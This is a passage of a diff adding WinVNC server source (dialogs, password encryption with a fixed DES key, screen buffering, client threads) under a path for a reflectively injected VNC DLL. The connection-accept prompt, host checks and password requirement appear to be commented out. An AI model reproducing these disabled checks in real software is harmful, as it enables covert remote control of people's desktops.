dealing with. But we can get a pseudo-this from the parameter to + // WM_INITDIALOG, which we therafter store with the window and retrieve + // as follows: + vncAcceptDialog *_this = (vncAcceptDialog *) GetWindowLong(hwnd, GWL_USERDATA); + + switch (uMsg) { + + // Dialog has just been created + case WM_INITDIALOG: + { + // Save the lParam into our user data so that subsequent calls have + // access to the parent C++ object + + SetWindowLong(hwnd, GWL_USERDATA, lParam); + vncAcceptDialog *_this = (vncAcceptDialog *) lParam; + + // Set the IP-address string + SetDlgItemText(hwnd, IDC_ACCEPT_IP, _this->m_ipAddress); + if (SetTimer(hwnd, 1, 1000, NULL) == 0) + EndDialog(hwnd, IDREJECT); + _this->m_timeoutCount = _this->m_timeoutSecs; + + // Attempt to mimic Win98/2000 dialog behaviour + if ((vncService::IsWinNT() && (vncService::VersionMajor() <= 4)) || + (vncService::IsWin95() && (vncService::VersionMinor() == 0))) + { + // Perform special hack to display the dialog safely + if (GetWindowThreadProcessId(GetForegroundWindow(), NULL) != GetCurrentProcessId()) + { + // We can't set our dialog as foreground if the foreground window + // doesn't belong to us - it's unsafe! + SetActiveWindow(hwnd); + _this->m_foreground_hack = TRUE; + _this->m_flash_state = FALSE; + } + } + if (!_this->m_foreground_hack) { + SetForegroundWindow(hwnd); + } + + // Beep + MessageBeep(MB_ICONEXCLAMATION); + + // Return success! + return TRUE; + } + + // Timer event + case WM_TIMER: + if ((_this->m_timeoutCount) == 0) + EndDialog(hwnd, IDREJECT); + _this->m_timeoutCount--; + + // Flash if necessary + if (_this->m_foreground_hack) { + if (GetWindowThreadProcessId(GetForegroundWindow(), NULL) != GetCurrentProcessId()) + { + _this->m_flash_state = !_this->m_flash_state; + FlashWindow(hwnd, _this->m_flash_state); + } else { + _this->m_foreground_hack = FALSE; + } + } + + // Update the displayed count + char temp[256]; + sprintf(temp, "AutoReject:%u", (_this->m_timeoutCount)); + SetDlgItemText(hwnd, IDC_ACCEPT_TIMEOUT, temp); + break; + + // Dialog has just received a command + case WM_COMMAND: + switch (LOWORD(wParam)) { + + // User clicked Accept or pressed return + case IDACCEPT: + case IDOK: + EndDialog(hwnd, IDACCEPT); + return TRUE; + + case IDREJECT: + case IDCANCEL: + EndDialog(hwnd, IDREJECT); + return TRUE; + }; + + break; + + // Window is being destroyed! (Should never happen) + case WM_DESTROY: + EndDialog(hwnd, IDREJECT); + return TRUE; + } + return 0; +} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncacceptdialog.h b/external/source/reflective_vncdll/winvnc/winvnc/vncacceptdialog.h new file mode 100644 index 0000000000..9af7332457 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncacceptdialog.h @@ -0,0 +1,71 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +class vncAcceptDialog; + +#if (!defined(_WINVNC_VNCACCEPTDIALOG)) +#define _WINVNC_VNCACCEPTDIALOG + +#pragma once + +// Incoming connection-rejection dialog. vncClient creates an AcceptDialog +// if it needs to query whether or not to accept a connection. + +class vncAcceptDialog +{ +public: + + // Create an outgoing-connection dialog + vncAcceptDialog(UINT timeoutSecs, const char *ipAddress); + + // Destructor + virtual ~vncAcceptDialog(); + + // Once a dialog object is created, either delete it again, or + // call DoDialog. DoDialog will run the dialog and return + // TRUE (Accept) or FALSE (Reject). + // The function will also return false if the dialog times out. + BOOL DoDialog(); + + // Internal stuffs +private: + + // Routine to call when a dialog event occurs + static BOOL CALLBACK vncAcceptDlgProc(HWND hwndDlg, + UINT uMsg, + WPARAM wParam, + LPARAM lParam); + + // Storage for the timeout value + UINT m_timeoutSecs; + UINT m_timeoutCount; + + // Flashing hack + BOOL m_foreground_hack; + BOOL m_flash_state; + + // Address of the offending machine + char *m_ipAddress; +}; + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncauth.c b/external/source/reflective_vncdll/winvnc/winvnc/vncauth.c new file mode 100644 index 0000000000..74ba63e7d8 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncauth.c @@ -0,0 +1,132 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +/* + * Functions for VNC password management and authentication. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include "vncauth.h" +#include "d3des.h" + +/* + * We use a fixed key to store passwords, since we assume that our local + * file system is secure but nonetheless don't want to store passwords + * as plaintext. + */ + +unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7}; + +/* + * Encrypt a password and store it in a file. + */ +int +vncEncryptPasswd(char *passwd, char *encryptedPasswd) +{ + int i; + + /* pad password with nulls */ + + for (i = 0; i < MAXPWLEN; i++) { + if (i < strlen(passwd)) { + encryptedPasswd[i] = passwd[i]; + } else { + encryptedPasswd[i] = 0; + } + } + + /* Do encryption in-place - this way we overwrite our copy of the plaintext + password */ + + deskey(fixedkey, EN0); + des(encryptedPasswd, encryptedPasswd); + + return 8; +} + +/* + * Decrypt a password. Returns a pointer to a newly allocated + * string containing the password or a null pointer if the password could + * not be retrieved for some reason. + */ +char * +vncDecryptPasswd(char *inouttext) +{ + unsigned char *passwd = (unsigned char *)malloc(9); + + deskey(fixedkey, DE1); + des(inouttext, passwd); + + passwd[8] = 0; + + return (char *)passwd; +} + +/* + * Generate a set of random bytes for use in challenge-response authentication. + */ +void +vncRandomBytes(unsigned char *where) { + int i; + static unsigned int seed; + seed += (unsigned int) time(0) + getpid() + getpid() * 987654; + + srand(seed); + for (i=0; i < CHALLENGESIZE; i++) { + where[i] = (unsigned char)(rand() & 255); + } +} + +/* + * Encrypt some bytes in memory using a password. + */ +void +vncEncryptBytes(unsigned char *where, const char *passwd) +{ + unsigned char key[8]; + int i; + + /* key is simply password padded with nulls */ + + for (i = 0; i < 8; i++) { + if (i < strlen(passwd)) { + key[i] = passwd[i]; + } else { + key[i] = 0; + } + } + + deskey(key, EN0); + + for (i = 0; i < CHALLENGESIZE; i += 8) { + des(where+i, where+i); + } +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncauth.h b/external/source/reflective_vncdll/winvnc/winvnc/vncauth.h new file mode 100644 index 0000000000..e734da6990 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncauth.h @@ -0,0 +1,35 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +/* + * vncauth.h - describes the functions provided by the vncauth library. + */ + +#define MAXPWLEN 8 +#define CHALLENGESIZE 16 + +extern int vncEncryptPasswd(char *passwd, char *fname); +extern char *vncDecryptPasswd(char *fname); +extern void vncRandomBytes(unsigned char *bytes); +extern void vncEncryptBytes(unsigned char *bytes, const char *passwd); diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncbuffer.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncbuffer.cpp new file mode 100644 index 0000000000..98ac1fcdda --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncbuffer.cpp @@ -0,0 +1,371 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// ScrBuffer implementation + +#include "stdhdrs.h" + +// Header + +#include "vncDesktop.h" +#include "rfbMisc.h" + +#include "vncBuffer.h" + +// Implementation + +vncBuffer::vncBuffer() +{ + m_freemainbuff = FALSE; + m_mainbuff = NULL; + m_backbuff = NULL; + m_backbuffsize = 0; + m_desktop=NULL; +} + +vncBuffer::~vncBuffer() +{ + if (m_freemainbuff) { + // We need to free the slow-blit buffer + if (m_mainbuff != NULL) + { + delete [] m_mainbuff; + m_mainbuff = NULL; + } + } + if (m_backbuff != NULL) + { + delete [] m_backbuff; + m_backbuff = NULL; + } + m_backbuffsize = 0; +} + +void +vncBuffer::SetDesktop(vncDesktop *desktop) +{ + m_desktop=desktop; + CheckBuffer(); +} + +rfb::Rect +vncBuffer::GetSize() +{ + return rfb::Rect(0, 0, m_scrinfo.framebufferWidth, m_scrinfo.framebufferHeight); +} + +rfbPixelFormat +vncBuffer::GetLocalFormat() +{ + return m_scrinfo.format; +} + +BOOL +vncBuffer::CheckBuffer() +{ + // Get the screen format, in case it has changed + m_desktop->FillDisplayInfo(&m_scrinfo); + m_bytesPerRow = m_scrinfo.framebufferWidth * m_scrinfo.format.bitsPerPixel/8; + + // Check that the local format buffers are sufficient + if ((m_backbuffsize != m_desktop->ScreenBuffSize()) || !m_freemainbuff) + { + //vnclog.Print(LL_INTINFO, VNCLOG("request local buffer[%d]\n"), m_desktop->ScreenBuffSize()); + if (m_freemainbuff) { + // Slow blits were enabled - free the slow blit buffer + if (m_mainbuff != NULL) + { + delete [] m_mainbuff; + m_mainbuff = NULL; + } + } + + if (m_backbuff != NULL) + { + delete [] m_backbuff; + m_backbuff = NULL; + } + m_backbuffsize = 0; + + // Check whether or not the vncDesktop is using fast blits + m_mainbuff = (BYTE *)m_desktop->OptimisedBlitBuffer(); + if (m_mainbuff) { + // Prevent us from freeing the DIBsection buffer + m_freemainbuff = FALSE; + //vnclog.Print(LL_INTINFO, VNCLOG("fast blits detected - using DIBsection buffer\n")); + } else { + // Create our own buffer to copy blits through + m_freemainbuff = TRUE; + if ((m_mainbuff = new BYTE [m_desktop->ScreenBuffSize()]) == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to allocate main buffer[%d]\n"), m_desktop->ScreenBuffSize()); + return FALSE; + } + memset(m_mainbuff, 0, m_desktop->ScreenBuffSize()); + } + + // Always create a back buffer + if ((m_backbuff = new BYTE [m_desktop->ScreenBuffSize()]) == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to allocate back buffer[%d]\n"), m_desktop->ScreenBuffSize()); + return FALSE; + } + memset(m_backbuff, 0, m_desktop->ScreenBuffSize()); + m_backbuffsize = m_desktop->ScreenBuffSize(); + + // Clear the backbuffer + //memcpy(m_backbuff, m_mainbuff, m_desktop->ScreenBuffSize()); + } + + //vnclog.Print(LL_INTINFO, VNCLOG("local buffer=%d\n"), m_backbuffsize); + + return TRUE; +} + +// Check a specified rectangle for changes and fill the region with +// the changed subrects +#pragma function(memcpy,memcmp) +void +vncBuffer::CheckRect(rfb::Region2D &dest, const rfb::Rect &srcrect) +{ + if (!FastCheckMainbuffer()) + return; + + const int BLOCK_SIZE = 32; + const UINT bytesPerPixel = m_scrinfo.format.bitsPerPixel / 8; + + rfb::Rect new_rect; + rfb::Rect srect = srcrect; + + int x, y, ay, by; + + // DWORD align the incoming rectangle. (bPP will be 8, 16 or 32) + if (bytesPerPixel < 4) { + if (bytesPerPixel == 1) // 1 byte per pixel + srect.tl.x -= (srect.tl.x & 3); // round down to nearest multiple of 4 + else // 2 bytes per pixel + srect.tl.x -= (srect.tl.x & 1); // round down to nearest multiple of 2 + } + + // Scan down the rectangle + unsigned char *o_topleft_ptr = m_backbuff + (srect.tl.y * m_bytesPerRow) + (srect.tl.x * bytesPerPixel); + unsigned char *n_topleft_ptr = m_mainbuff + (srect.tl.y * m_bytesPerRow) + (srect.tl.x * bytesPerPixel); + for (y = srect.tl.y; y grabRect.br.y) + { + // If the existing rect is non-null the capture it + if (!grabRect.is_empty()) GrabRect(grabRect); + + grabRect = current; + } else { + grabRect = current.union_boundary(grabRect); + } + } + + // If there are still some rects to be done then do them + if (!grabRect.is_empty()) GrabRect(grabRect); +} + +void +vncBuffer::CheckRegion(rfb::Region2D &dest, const rfb::Region2D &src) +{ + rfb::RectVector rects; + rfb::RectVector::iterator i; + + // If there is nothing to do then do nothing... + src.get_rects(rects, 1, 1); + if (rects.empty()) return; + + // + // - Scan the specified rectangles for changes + // + + for (i = rects.begin(); i != rects.end(); i++) + { + // Get the buffer to check for changes in the rect + CheckRect(dest, *i); + } +} + +void +vncBuffer::GrabRect(const rfb::Rect &rect) +{ + if (!FastCheckMainbuffer()) return; + m_desktop->CaptureScreen(rect, m_mainbuff, m_backbuffsize); +} + +void +vncBuffer::CopyRect(const rfb::Rect &dest, const rfb::Point &delta) +{ + rfb::Rect src = dest.translate(delta.negate()); + + // Copy the data from one part of the back-buffer to another! + const UINT bytesPerPixel = m_scrinfo.format.bitsPerPixel/8; + const UINT bytesPerLine = (dest.br.x-dest.tl.x)*bytesPerPixel; + BYTE *srcptr = m_backbuff + (src.tl.y * m_bytesPerRow) + + (src.tl.x * bytesPerPixel); + BYTE *destptr = m_backbuff + (dest.tl.y * m_bytesPerRow) + + (dest.tl.x * bytesPerPixel); + + // Copy the data around in the right order + if (dest.tl.y < src.tl.y) + { + for (int y=dest.tl.y; y < dest.br.y; y++) + { + memmove(destptr, srcptr, bytesPerLine); + srcptr+=m_bytesPerRow; + destptr+=m_bytesPerRow; + } + } + else + { + srcptr += (m_bytesPerRow * ((dest.br.y-dest.tl.y)-1)); + destptr += (m_bytesPerRow * ((dest.br.y-dest.tl.y)-1)); + for (int y=dest.br.y; y > dest.tl.y; y--) + { + memmove(destptr, srcptr, bytesPerLine); + srcptr-=m_bytesPerRow; + destptr-=m_bytesPerRow; + } + } +} + +void +vncBuffer::GrabMouse() +{ + if (!FastCheckMainbuffer()) return; + m_desktop->CaptureMouse(m_mainbuff, m_backbuffsize); +} + +void +vncBuffer::GetMousePos(rfb::Rect &rect) +{ + rect = m_desktop->MouseRect(); +} + +void +vncBuffer::Clear(const rfb::Rect &rect) +{ + if (!FastCheckMainbuffer()) + return; + + //vnclog.Print(LL_INTINFO, + // VNCLOG("clearing rectangle (%d, %d)-(%d, %d)\n"), + // rect.tl.x, rect.tl.y, rect.br.x, rect.br.y); + + // Update the contents of a region, to stop it from being marked as having changed + BYTE *backptr = m_backbuff + (rect.tl.y * m_bytesPerRow) + (rect.tl.x * m_scrinfo.format.bitsPerPixel/8); + BYTE *mainptr = m_mainbuff + (rect.tl.y * m_bytesPerRow) + (rect.tl.x * m_scrinfo.format.bitsPerPixel/8); + const UINT bytesPerLine = (rect.br.x-rect.tl.x)*(m_scrinfo.format.bitsPerPixel/8); + for (int y=rect.tl.y; y < rect.br.y; y++) + { + memcpy(backptr, mainptr, bytesPerLine); + backptr+=m_bytesPerRow; + mainptr+=m_bytesPerRow; + } +} + +// Verify that the fast blit buffer hasn't changed +inline BOOL +vncBuffer::FastCheckMainbuffer() { + VOID *tmp = m_desktop->OptimisedBlitBuffer(); + if (tmp && (m_mainbuff != tmp)) + return CheckBuffer(); + return TRUE; +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncbuffer.h b/external/source/reflective_vncdll/winvnc/winvnc/vncbuffer.h new file mode 100644 index 0000000000..97b3f4e047 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncbuffer.h @@ -0,0 +1,101 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// vncBuffer object + +// The vncBuffer object provides a client-local copy of the screen +// It can tell the client which bits have changed in a given region +// It uses the specified vncDesktop to read screen data from + +class vncBuffer; + +#if !defined(_WINVNC_VNCBUFFER) +#define _WINVNC_VNCBUFFER +#pragma once + +// Includes + +#include "stdhdrs.h" +#include "vncEncoder.h" +#include "rfbRegion.h" +#include "rfbRect.h" +#include "rfb.h" + +// Class definition + +class vncDesktop; + +class vncBuffer +{ +// Methods +public: + // Create/Destroy methods + vncBuffer(); + ~vncBuffer(); + + void SetDesktop(vncDesktop *desktop); + + // BUFFER INFO + rfb::Rect GetSize(); + rfbPixelFormat GetLocalFormat(); + + // BUFFER MANIPULATION + BOOL CheckBuffer(); + + // SCREEN SCANNING + void Clear(const rfb::Rect &rect); + void CheckRegion(rfb::Region2D &dest, const rfb::Region2D &src); + void CheckRect(rfb::Region2D &dest, const rfb::Rect &src); + + // SCREEN CAPTURE + void CopyRect(const rfb::Rect &dest, const rfb::Point &delta); + void GrabMouse(); + void GrabRegion(const rfb::Region2D &src); + void GetMousePos(rfb::Rect &rect); + +// Implementation +protected: + + // Routine to verify the mainbuff handle hasn't changed + BOOL FastCheckMainbuffer(); + + // Fetch pixel data to the main buffer from the screen + void GrabRect(const rfb::Rect &rect); + + BYTE *m_mainbuff; + BOOL m_freemainbuff; + + UINT m_bytesPerRow; + + rfbServerInitMsg m_scrinfo; + +public: + // vncEncodeMgr reads data from back buffer directly when encoding + BYTE *m_backbuff; + UINT m_backbuffsize; + + vncDesktop *m_desktop; +}; + +#endif // _WINVNC_VNCBUFFER diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncclient.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncclient.cpp new file mode 100644 index 0000000000..7a5a5a98c9 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncclient.cpp @@ -0,0 +1,1396 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncClient.cpp + +// The per-client object. This object takes care of all per-client stuff, +// such as socket input and buffering of updates. + +// vncClient class handles the following functions: +// - Recieves requests from the connected client and +// handles them +// - Handles incoming updates properly, using a vncBuffer +// object to keep track of screen changes +// It uses a vncBuffer and is passed the vncDesktop and +// vncServer to communicate with. + +// Includes +#include "stdhdrs.h" +#include +#include "resource.h" + +// Custom +#include "vncServer.h" +#include "vncClient.h" +#include "VSocket.h" +#include "vncDesktop.h" +#include "rfbRegion.h" +#include "vncBuffer.h" +#include "vncService.h" +#include "vncPasswd.h" +#include "vncAcceptDialog.h" +#include "vncKeymap.h" + +// #include "rfb.h" + +// vncClient update thread class + +class vncClientUpdateThread : public omni_thread +{ +public: + + // Init + BOOL Init(vncClient *client); + + // Kick the thread to send an update + void Trigger(); + + // Kill the thread + void Kill(); + + // Disable/enable updates + void EnableUpdates(BOOL enable); + + // The main thread function + virtual void *run_undetached(void *arg); + +protected: + virtual ~vncClientUpdateThread(); + + // Fields +protected: + vncClient *m_client; + omni_condition *m_signal; + omni_condition *m_sync_sig; + BOOL m_active; + BOOL m_enable; +}; + +BOOL +vncClientUpdateThread::Init(vncClient *client) +{ + //vnclog.Print(LL_INTINFO, VNCLOG("init update thread\n")); + + m_client = client; + omni_mutex_lock l(m_client->GetUpdateLock()); + m_signal = new omni_condition(&m_client->GetUpdateLock()); + m_sync_sig = new omni_condition(&m_client->GetUpdateLock()); + m_active = TRUE; + m_enable = m_client->m_disable_protocol == 0; + if (m_signal && m_sync_sig) { + start_undetached(); + return TRUE; + } + return FALSE; +} + +vncClientUpdateThread::~vncClientUpdateThread() +{ + if (m_signal) delete m_signal; + if (m_sync_sig) delete m_sync_sig; + //vnclog.Print(LL_INTINFO, VNCLOG("update thread gone\n")); +} + +void +vncClientUpdateThread::Trigger() +{ + // ALWAYS lock client UpdateLock before calling this! + // Only trigger an update if protocol is enabled + if (m_client->m_disable_protocol == 0) { + m_signal->signal(); + } +} + +void +vncClientUpdateThread::Kill() +{ + //vnclog.Print(LL_INTINFO, VNCLOG("kill update thread\n")); + + omni_mutex_lock l(m_client->GetUpdateLock()); + m_active=FALSE; + m_signal->signal(); +} + +void +vncClientUpdateThread::EnableUpdates(BOOL enable) +{ + // ALWAYS call this with the UpdateLock held! + //if (enable) { + // //vnclog.Print(LL_INTINFO, VNCLOG("enable update thread\n")); + //} else { + // //vnclog.Print(LL_INTINFO, VNCLOG("disable update thread\n")); + //} + + m_enable = enable; + m_signal->signal(); + m_sync_sig->wait(); + //vnclog.Print(LL_INTINFO, VNCLOG("enable/disable synced\n")); +} + +void* +vncClientUpdateThread::run_undetached(void *arg) +{ + rfb::SimpleUpdateTracker update; + rfb::Region2D clipregion; + char *clipboard_text = 0; + update.enable_copyrect(true); + BOOL send_palette = FALSE; + + unsigned long updates_sent=0; + + //vnclog.Print(LL_INTINFO, VNCLOG("starting update thread\n")); + + // Set client update threads to high priority + // *** set_priority(omni_thread::PRIORITY_HIGH); + + while (1) + { + // Block waiting for an update to send + { + omni_mutex_lock l(m_client->GetUpdateLock()); + m_client->m_incr_rgn = m_client->m_incr_rgn.union_(clipregion); + + // We block as long as updates are disabled, or the client + // isn't interested in them, unless this thread is killed. + while (m_active && ( + !m_enable || ( + m_client->m_update_tracker.get_changed_region().intersect(m_client->m_incr_rgn).is_empty() && + m_client->m_update_tracker.get_copied_region().intersect(m_client->m_incr_rgn).is_empty() && + !m_client->m_clipboard_text + ) + ) + ) { + // Issue the synchronisation signal, to tell other threads + // where we have got to + m_sync_sig->broadcast(); + + // Wait to be kicked into action + m_signal->wait(); + } + + // If the thread is being killed then quit + if (!m_active) break; + + // SEND AN UPDATE! + // The thread is active, updates are enabled, and the + // client is expecting an update - let's see if there + // is anything to send. + + // Has the palette changed? + send_palette = m_client->m_palettechanged; + m_client->m_palettechanged = FALSE; + + // Fetch the incremental region + clipregion = m_client->m_incr_rgn; + m_client->m_incr_rgn.clear(); + + // Get the clipboard data, if any + if (m_client->m_clipboard_text) { + clipboard_text = m_client->m_clipboard_text; + m_client->m_clipboard_text = 0; + } + + // Get the update details from the update tracker + m_client->m_update_tracker.flush_update(update, clipregion); + + // Render the mouse if required + if (m_client->m_mousemoved) + { + // Re-render its old location + m_client->m_oldmousepos = + m_client->m_oldmousepos.intersect(m_client->m_fullscreen); + if (!m_client->m_oldmousepos.is_empty()) + update.add_changed(m_client->m_oldmousepos); + + // And render its new one + m_client->m_encodemgr.m_buffer->GetMousePos(m_client->m_oldmousepos); + m_client->m_oldmousepos = + m_client->m_oldmousepos.intersect(m_client->m_fullscreen); + if (!m_client->m_oldmousepos.is_empty()) + update.add_changed(m_client->m_oldmousepos); + + m_client->m_mousemoved = FALSE; + } + + // Get the encode manager to update the client back buffer + m_client->m_encodemgr.GrabRegion(update.get_changed_region()); + } + + // SEND THE CLIPBOARD + // If there is clipboard text to be sent then send it + if (clipboard_text) { + rfbServerCutTextMsg message; + + message.length = Swap32IfLE(strlen(clipboard_text)); + if (!m_client->SendRFBMsg(rfbServerCutText, + (BYTE *) &message, sizeof(message))) { + m_client->m_socket->Close(); + } + if (!m_client->m_socket->SendExact(clipboard_text, strlen(clipboard_text))) + { + m_client->m_socket->Close(); + } + free(clipboard_text); + clipboard_text = 0; + } + + // SEND AN UPDATE + // We do this without holding locks, to avoid network problems + // stalling the server. + + // Update the client palette if necessary + if (send_palette) { + m_client->SendPalette(); + } + + // Send updates to the client - this implicitly clears + // the supplied update tracker + if (m_client->SendUpdate(update)) { + updates_sent++; + clipregion.clear(); + } + } + + //vnclog.Print(LL_INTINFO, VNCLOG("stopping update thread\n")); + + //vnclog.Print(LL_INTERR, "client sent %lu updates\n", updates_sent); + return 0; +} + +// vncClient thread class + +class vncClientThread : public omni_thread +{ +public: + + // Init + virtual BOOL Init(vncClient *client, + vncServer *server, + VSocket *socket, + BOOL auth, + BOOL shared); + + // Sub-Init routines + virtual BOOL InitVersion(); + virtual BOOL InitAuthenticate(); + + // The main thread function + virtual void run(void *arg); + +protected: + virtual ~vncClientThread(); + + // Fields +protected: + VSocket *m_socket; + vncServer *m_server; + vncClient *m_client; + BOOL m_auth; + BOOL m_shared; +}; + +vncClientThread::~vncClientThread() +{ + // If we have a client object then delete it + if (m_client != NULL) + delete m_client; +} + +BOOL +vncClientThread::Init(vncClient *client, vncServer *server, VSocket *socket, BOOL auth, BOOL shared) +{ + // Save the server pointer and window handle + m_server = server; + m_socket = socket; + m_client = client; + m_auth = auth; + m_shared = shared; + + // Start the thread + start(); + + return TRUE; +} + +BOOL +vncClientThread::InitVersion() +{ + // Generate the server's protocol version + rfbProtocolVersionMsg protocolMsg; + sprintf((char *)protocolMsg, + rfbProtocolVersionFormat, + rfbProtocolMajorVersion, + rfbProtocolMinorVersion); + + // Send the protocol message + if (!m_socket->SendExact((char *)&protocolMsg, sz_rfbProtocolVersionMsg)) + return FALSE; + + // Now, get the client's protocol version + rfbProtocolVersionMsg protocol_ver; + protocol_ver[12] = 0; + if (!m_socket->ReadExact((char *)&protocol_ver, sz_rfbProtocolVersionMsg)) + return FALSE; + + // Check the protocol version + int major, minor; + sscanf((char *)&protocol_ver, rfbProtocolVersionFormat, &major, &minor); + if (major != rfbProtocolMajorVersion) + return FALSE; + + return TRUE; +} + +BOOL +vncClientThread::InitAuthenticate() +{ + // Retrieve the local password + char password[MAXPWLEN]; + m_server->GetPassword(password); + vncPasswd::ToText plain(password); + + /* + + // Verify the peer host name against the AuthHosts string + vncServer::AcceptQueryReject verified; + if (m_auth) { + verified = vncServer::aqrAccept; + } else { + verified = m_server->VerifyHost(m_socket->GetPeerName()); + } + + // If necessary, query the connection with a timed dialog + if (verified == vncServer::aqrQuery) { + vncAcceptDialog *acceptDlg = new vncAcceptDialog(m_server->QueryTimeout(), m_socket->GetPeerName()); + if ((acceptDlg == 0) || (!(acceptDlg->DoDialog()))) + verified = vncServer::aqrReject; + } + if (verified == vncServer::aqrReject) { + CARD32 auth_val = Swap32IfLE(rfbConnFailed); + char *errmsg = "Your connection has been rejected."; + CARD32 errlen = Swap32IfLE(strlen(errmsg)); + if (!m_socket->SendExact((char *)&auth_val, sizeof(auth_val))) + return FALSE; + if (!m_socket->SendExact((char *)&errlen, sizeof(errlen))) + return FALSE; + m_socket->SendExact(errmsg, strlen(errmsg)); + return FALSE; + } + + + // By default we disallow passwordless workstations! + if ((strlen(plain) == 0) && m_server->AuthRequired()) + { + //vnclog.Print(LL_CONNERR, VNCLOG("no password specified for server - client rejected\n")); + + // Send an error message to the client + CARD32 auth_val = Swap32IfLE(rfbConnFailed); + char *errmsg = + "This server does not have a valid password enabled. " + "Until a password is set, incoming connections cannot be accepted."; + CARD32 errlen = Swap32IfLE(strlen(errmsg)); 